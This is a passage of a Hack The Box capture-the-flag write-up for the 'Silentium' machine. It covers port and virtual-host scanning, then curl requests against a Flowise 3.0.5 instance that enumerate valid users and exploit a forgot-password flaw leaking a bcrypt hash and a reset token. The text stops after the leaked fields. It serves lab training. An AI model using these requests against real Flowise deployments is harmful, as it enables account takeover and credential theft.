Linux

Hack The Box - Season 10 HTB Silentium Writeup - Easy- Weekly - April 12th, 2026

Hack The Box - Season 10 HTB Silentium Writeup - Easy- Weekly - April 12th, 2026

Summary

Silentium is an Easy Linux box hosting a corporate finance website and a staging Flowise AI platform behind a virtual host. The attack chain exploits three vulnerabilities.


Reconnaissance

Nmap Scan

nmap -sC -sV -p 22,80 <TARGET_IP>
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Silentium | Institutional Capital & Lending Solutions

Two ports open: SSH and HTTP. Port 80 serves an nginx web server that redirects to silentium.htb.

Virtual Host Discovery

ffuf -u http://silentium.htb -H "Host: FUZZ.silentium.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac

Discovered staging.silentium.htb (Status 200).

Added both hostnames to /etc/hosts:

<TARGET_IP> silentium.htb staging.silentium.htb

Enumeration

silentium.htb - Main Site

A static corporate website for "Silentium International Asset Management", an institutional finance firm. The team section lists:

  • Marcus Thorne - Managing Director
  • Ben - Head of Financial Systems
  • Elena Rossi - Chief Risk Officer

The name "Ben" with only a first name is notable as a potential username.

staging.silentium.htb - Flowise 3.0.5

The staging subdomain runs Flowise 3.0.5, an open-source AI agent builder platform.

curl -s http://staging.silentium.htb/api/v1/version
# {"version":"3.0.5"}

Most API endpoints return {"error":"Unauthorized Access"}, confirming authentication is enabled.

User Enumeration

The Flowise login endpoint leaks whether a user exists via different error messages:

# Non-existent user returns 404
curl -s -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@silentium.htb","password":"test"}'
# {"statusCode":404,"message":"User Not Found"}

# Valid user returns 401
curl -s -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"ben@silentium.htb","password":"test"}'
# {"statusCode":401,"message":"Incorrect Email or Password"}

Confirmed valid user: ben@silentium.htb


Initial Access

Step 1: GHSA-jc5m-wrp2-qq38 - PII Disclosure on Forgot Password

Vulnerability: Flowise <= 3.0.12 exposes sensitive user data (bcrypt password hash and password reset token) in the response of the unauthenticated forgot-password endpoint.

curl -s -X POST "http://staging.silentium.htb/api/v1/account/forgot-password" \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'

Response (key fields):

{
  "user": {
    "id": "<REDACTED_UUID>",
    "name": "admin",
    "email": "ben@silentium.htb",
    "credential": "<REDACTED_BCRYPT_HASH>",
    "tempToken": "<REDACTED_TOKEN>",
    "tokenExpiry": "<REDACTED_TIMESTAMP>",
    "status": "active"
  }
}

Leaked data:

  • credential - bcrypt password hash (cost factor 5)
  • tempToken - password reset token (valid for 15 minutes)